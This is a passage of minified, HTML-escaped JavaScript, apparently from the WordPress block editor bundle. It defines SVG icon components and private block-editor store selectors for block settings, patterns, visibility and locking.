1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z&quot;})});var ew=l(q(),1),WL=l(w(),1),$L=(0,WL.jsx)(ew.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,WL.jsx)(ew.Path,{d:&quot;M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z&quot;})});var tw=l(q(),1),KL=l(w(),1),YL=(0,KL.jsx)(tw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,KL.jsx)(tw.Path,{d:&quot;m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z&quot;})});var ow=l(q(),1),qL=l(w(),1),Dr=(0,qL.jsx)(ow.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,qL.jsx)(ow.Path,{d:&quot;M7 11.5h10V13H7z&quot;})});var rw=l(q(),1),ZL=l(w(),1),XL=(0,ZL.jsx)(rw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ZL.jsx)(rw.Path,{d:&quot;M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z&quot;})});var nw=l(q(),1),QL=l(w(),1),JL=(0,QL.jsx)(nw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,QL.jsx)(nw.Path,{d:&quot;M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z&quot;})});var iw=l(q(),1),eN=l(w(),1),tN=(0,eN.jsx)(iw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,eN.jsx)(iw.Path,{d:&quot;M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z&quot;})});var sw=l(q(),1),oN=l(w(),1),Af=(0,oN.jsx)(sw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,oN.jsx)(sw.Path,{d:&quot;M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z&quot;})});var fv=l(q(),1),mv=l(w(),1),rN=(0,mv.jsxs)(fv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,mv.jsx)(fv.Path,{d:&quot;m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z&quot;}),(0,mv.jsx)(fv.Path,{d:&quot;m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z&quot;})]});var aw=l(q(),1),nN=l(w(),1),iN=(0,nN.jsx)(aw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,nN.jsx)(aw.Path,{d:&quot;M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z&quot;})});var lw=l(q(),1),sN=l(w(),1),cw=(0,sN.jsx)(lw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,sN.jsx)(lw.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;})});var pv=l(q(),1),hv=l(w(),1),aN=(0,hv.jsxs)(pv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,hv.jsx)(pv.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,hv.jsx)(pv.Path,{d:&quot;m16.5 19.5h-9v-1.5h9z&quot;})]});var Up=l(q(),1),Hp=l(w(),1),lN=(0,Hp.jsxs)(Up.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Hp.jsx)(Up.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,Hp.jsx)(Up.Path,{d:&quot;m4.5 7.5v9h1.5v-9z&quot;}),(0,Hp.jsx)(Up.Path,{d:&quot;m18 7.5v9h1.5v-9z&quot;})]});var gv=l(q(),1),bv=l(w(),1),cN=(0,bv.jsxs)(gv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,bv.jsx)(gv.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,bv.jsx)(gv.Path,{d:&quot;m4.5 16.5v-9h1.5v9z&quot;})]});var kv=l(q(),1),vv=l(w(),1),uN=(0,vv.jsxs)(kv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,vv.jsx)(kv.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,vv.jsx)(kv.Path,{d:&quot;m18 16.5v-9h1.5v9z&quot;})]});var yv=l(q(),1),Sv=l(w(),1),dN=(0,Sv.jsxs)(yv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Sv.jsx)(yv.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,Sv.jsx)(yv.Path,{d:&quot;m16.5 6h-9v-1.5h9z&quot;})]});var Gp=l(q(),1),Wp=l(w(),1),fN=(0,Wp.jsxs)(Gp.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Wp.jsx)(Gp.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,Wp.jsx)(Gp.Path,{d:&quot;m7.5 6h9v-1.5h-9z&quot;}),(0,Wp.jsx)(Gp.Path,{d:&quot;m7.5 19.5h9v-1.5h-9z&quot;})]});var uw=l(q(),1),mN=l(w(),1),pN=(0,mN.jsx)(uw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,mN.jsx)(uw.Path,{d:&quot;M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z&quot;})});var dw=l(q(),1),hN=l(w(),1),_v=(0,hN.jsx)(dw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,hN.jsx)(dw.Path,{d:&quot;M5 4h14v11H5V4Zm11 16H8v-1.5h8V20Z&quot;})});var fw=l(q(),1),gN=l(w(),1),Lf=(0,gN.jsx)(fw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,gN.jsx)(fw.Path,{d:&quot;M16 5.5H8V4h8v1.5ZM16 20H8v-1.5h8V20ZM5 9h14v6H5V9Z&quot;})});var mw=l(q(),1),bN=l(w(),1),kN=(0,bN.jsx)(mw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,bN.jsx)(mw.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z&quot;})});var pw=l(q(),1),vN=l(w(),1),Ei=(0,vN.jsx)(pw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,vN.jsx)(pw.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})});var hw=l(q(),1),yN=l(w(),1),SN=(0,yN.jsx)(hw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,yN.jsx)(hw.Path,{d:&quot;M17 4H7c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12zm-7.5-.5h4V16h-4v1.5z&quot;})});var gw=l(q(),1),_N=l(w(),1),xN=(0,_N.jsx)(gw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,_N.jsx)(gw.Path,{d:&quot;M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z&quot;})});var bw=l(q(),1),wN=l(w(),1),CN=(0,wN.jsx)(bw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,wN.jsx)(bw.Path,{d:&quot;M8.2 14.4h3.9L13 17h1.7L11 6.5H9.3L5.6 17h1.7l.9-2.6zm2-5.5 1.4 4H8.8l1.4-4zm7.4 7.5-1.3.8.8 1.4H5.5V20h14.3l-2.2-3.6z&quot;})});var kw=l(q(),1),BN=l(w(),1),EN=(0,BN.jsx)(kw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,BN.jsx)(kw.Path,{d:&quot;M7 5.6v1.7l2.6.9v3.9L7 13v1.7L17.5 11V9.3L7 5.6zm4.2 6V8.8l4 1.4-4 1.4zm-5.7 5.6V5.5H4v14.3l3.6-2.2-.8-1.3-1.3.9z&quot;})});var vw=l(q(),1),TN=l(w(),1),IN=(0,TN.jsx)(vw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,TN.jsx)(vw.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z&quot;})});var yw=l(q(),1),PN=l(w(),1),RN=(0,PN.jsx)(yw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,PN.jsx)(yw.Path,{d:&quot;M18 4h-7c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7zm-5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h1V9H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-1h-1.5v1z&quot;})});var Sw=l(q(),1),ON=l(w(),1),vl=(0,ON.jsx)(Sw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ON.jsx)(Sw.Path,{d:&quot;M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8h1.5c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1z&quot;})});var _w=l(q(),1),AN=l(w(),1),vs=(0,AN.jsx)(_w.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,AN.jsx)(_w.Path,{d:&quot;M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z&quot;})});var xw=l(q(),1),LN=l(w(),1),NN=(0,LN.jsx)(xw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,LN.jsx)(xw.Path,{d:&quot;M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z&quot;})});var ww=l(q(),1),MN=l(w(),1),DN=(0,MN.jsx)(ww.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,MN.jsx)(ww.Path,{d:&quot;M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z&quot;})});var Cw=l(q(),1),VN=l(w(),1),FN=(0,VN.jsx)(Cw.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,VN.jsx)(Cw.Path,{d:&quot;M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z&quot;})});var _l=l(dr(),1),jn=l(Re(),1),Ee=l(F(),1);var hj=l($(),1),gj=l(oj(),1);var Kt=&quot;core/block-editor&quot;;var Tw={};Ip(Tw,{getAllPatterns:()=&gt;xhe,getBlockRemovalRules:()=&gt;bhe,getBlockSettings:()=&gt;nj,getBlockStyles:()=&gt;Ihe,getBlockWithoutAttributes:()=&gt;fhe,getClosestAllowedInsertionPoint:()=&gt;lj,getClosestAllowedInsertionPointForPattern:()=&gt;Rhe,getContentLockingParent:()=&gt;zN,getEditedContentOnlySection:()=&gt;jN,getEnabledBlockParents:()=&gt;hhe,getEnabledClientIdsTree:()=&gt;phe,getExpandedBlock:()=&gt;The,getInserterMediaCategories:()=&gt;yhe,getInsertionPoint:()=&gt;Ohe,getLastFocus:()=&gt;Bhe,getLastInsertedBlocksClientIds:()=&gt;dhe,getListViewExpandRevision:()=&gt;zhe,getParentSectionBlock:()=&gt;au,getPatternBySlug:()=&gt;_he,getRegisteredInserterMediaCategories:()=&gt;vhe,getRemovalPromptData:()=&gt;ghe,getRequestedInspectorTab:()=&gt;Uhe,getReusableBlocks:()=&gt;Che,getSectionRootClientId:()=&gt;Mf,getStyleOverrides:()=&gt;khe,getViewportModalClientIds:()=&gt;jhe,getZoomLevel:()=&gt;Phe,hasAllowedPatterns:()=&gt;She,hasBlockSpotlight:()=&gt;Mhe,isBlockHiddenAnywhere:()=&gt;Ahe,isBlockHiddenAtViewport:()=&gt;cj,isBlockHiddenEverywhere:()=&gt;GN,isBlockInterfaceHidden:()=&gt;uhe,isBlockParentHiddenAtViewport:()=&gt;Nhe,isBlockParentHiddenEverywhere:()=&gt;Lhe,isBlockSubtreeDisabled:()=&gt;mhe,isContainerInsertableToInContentOnlyMode:()=&gt;wv,isDragging:()=&gt;Ehe,isEditLockedBlock:()=&gt;uj,isListViewContentPanelOpen:()=&gt;Vhe,isListViewPanelOpened:()=&gt;Fhe,isLockedBlock:()=&gt;Dhe,isMoveLockedBlock:()=&gt;dj,isRemoveLockedBlock:()=&gt;fj,isSectionBlock:()=&gt;lu,isWithinEditedContentOnlySection:()=&gt;UN,isZoomOut:()=&gt;HN});var Vr=l(F(),1),xv=l($(),1);var Bw=l(N(),1);var Et={desktop:{label:(0,Bw.__)(&quot;Desktop&quot;),icon:mA,key:&quot;desktop&quot;},tablet:{label:(0,Bw.__)(&quot;Tablet&quot;),icon:SN,key:&quot;tablet&quot;},mobile:{label:(0,Bw.__)(&quot;Mobile&quot;),icon:cv,key:&quot;mobile&quot;}},iu=Object.entries(Et);var Ew=l($(),1),rj=l(ut(),1);function pe(e,t,o){t=Array.isArray(t)?[...t]:[t],e=Array.isArray(e)?[...e]:{...e};let r=t.pop(),n=e;for(let i of t){let s=n[i];n=n[i]=Array.isArray(s)?[...s]:{...s}}return n[r]=o,e}var yl=(e,t,o)=&gt;{let r=Array.isArray(t)?t:t.split(&quot;.&quot;),n=e;return r.forEach(i=&gt;{n=n?.[i]}),n??o};var she=[&quot;color&quot;,&quot;border&quot;,&quot;dimensions&quot;,&quot;typography&quot;,&quot;spacing&quot;],ahe={&quot;color.palette&quot;:e=&gt;e.colors,&quot;color.gradients&quot;:e=&gt;e.gradients,&quot;color.custom&quot;:e=&gt;e.disableCustomColors===void 0?void 0:!e.disableCustomColors,&quot;color.customGradient&quot;:e=&gt;e.disableCustomGradients===void 0?void 0:!e.disableCustomGradients,&quot;typography.fontSizes&quot;:e=&gt;e.fontSizes,&quot;typography.customFontSize&quot;:e=&gt;e.disableCustomFontSizes===void 0?void 0:!e.disableCustomFontSizes,&quot;typography.lineHeight&quot;:e=&gt;e.enableCustomLineHeight,&quot;spacing.units&quot;:e=&gt;{if(e.enableCustomUnits!==void 0)return e.enableCustomUnits===!0?[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;,&quot;%&quot;]:e.enableCustomUnits},&quot;spacing.padding&quot;:e=&gt;e.enableCustomSpacing},lhe={&quot;border.customColor&quot;:&quot;border.color&quot;,&quot;border.customStyle&quot;:&quot;border.style&quot;,&quot;border.customWidth&quot;:&quot;border.width&quot;,&quot;typography.customFontStyle&quot;:&quot;typography.fontStyle&quot;,&quot;typography.customFontWeight&quot;:&quot;typography.fontWeight&quot;,&quot;typography.customLetterSpacing&quot;:&quot;typography.letterSpacing&quot;,&quot;typography.customTextDecorations&quot;:&quot;typography.textDecoration&quot;,&quot;typography.customTextTransforms&quot;:&quot;typography.textTransform&quot;,&quot;border.customRadius&quot;:&quot;border.radius&quot;,&quot;spacing.customMargin&quot;:&quot;spacing.margin&quot;,&quot;spacing.customPadding&quot;:&quot;spacing.padding&quot;,&quot;typography.customLineHeight&quot;:&quot;typography.lineHeight&quot;},che=e=&gt;lhe[e]||e;function nj(e,t,...o){let r=dt(e,t),n=[];if(t){let i=t;do{let s=dt(e,i);(0,Ew.hasBlockSupport)(s,&quot;__experimentalSettings&quot;,!1)&amp;&amp;n.push(i)}while(i=e.blocks.parents.get(i))}return o.map(i=&gt;{if(she.includes(i)){console.warn(&quot;Top level useSetting paths are disabled. Please use a subpath to query the information needed.&quot;);return}let s=(0,rj.applyFilters)(&quot;blockEditor.useSetting.before&quot;,void 0,i,t,r);if(s!==void 0)return s;let a=che(i);for(let d of n){let f=Ti(e,d);if(s=yl(f.settings?.blocks?.[r],a)??yl(f.settings,a),s!==void 0)break}let c=su(e);if(s===void 0&amp;&amp;r&amp;&amp;(s=yl(c.__experimentalFeatures?.blocks?.[r],a)),s===void 0&amp;&amp;(s=yl(c.__experimentalFeatures,a)),s!==void 0)return Ew.__EXPERIMENTAL_PATHS_WITH_OVERRIDE[a]?s.custom??s.theme??s.default:s;let u=ahe[a]?.(c);return u!==void 0?u:a===&quot;typography.dropCap&quot;?!0:void 0})}var{isContentBlock:ij}=M(xv.privateApis);function uhe(e){return e.isBlockInterfaceHidden}function dhe(e){return e?.lastBlockInserted?.clientIds}function fhe(e,t){return e.blocks.byClientId.get(t)}var mhe=(e,t)=&gt;{let o=r=&gt;Ii(e,r)===&quot;disabled&quot;&amp;&amp;wr(e,r).every(o);return wr(e,t).every(o)};function wv(e,t,o){let r=ij(t),n=dt(e,o),i=ij(n);return Mf(e)===o||i&amp;&amp;r}function sj(e,t){let o=wr(e,t),r=[];for(let n of o){let i=sj(e,n);Ii(e,n)!==&quot;disabled&quot;?r.push({clientId:n,innerBlocks:i}):r.push(...i)}return r}var phe=(0,Vr.createRegistrySelector)(()=&gt;(0,Vr.createSelector)(sj,e=&gt;[e.blocks.order,e.derivedBlockEditingModes,e.blocks.blockEditingModes])),hhe=(0,Vr.createSelector)((e,t,o=!1)=&gt;ys(e,t,o).filter(r=&gt;Ii(e,r)!==&quot;disabled&quot;),e=&gt;[e.blocks.parents,e.blocks.blockEditingModes,e.settings.templateLock,e.blockListSettings]);function ghe(e){return e.removalPromptData}function bhe(e){return e.blockRemovalRules}var khe=(0,Vr.createSelector)(e=&gt;{let o=$p(e).reduce((r,n,i)=&gt;(r[n]=i,r),{});return[...e.styleOverrides].sort((r,n)=&gt;{let[,{clientId:i}]=r,[,{clientId:s}]=n,a=o[i]??-1,c=o[s]??-1;return a-c})},e=&gt;[e.blocks.order,e.styleOverrides]);function vhe(e){return e.registeredInserterMediaCategories}var yhe=(0,Vr.createSelector)(e=&gt;{let{settings:{inserterMediaCategories:t,allowedMimeTypes:o,enableOpenverseMediaCategory:r},registeredInserterMediaCategories:n}=e;if(!t&amp;&amp;!n.length||!o)return;let 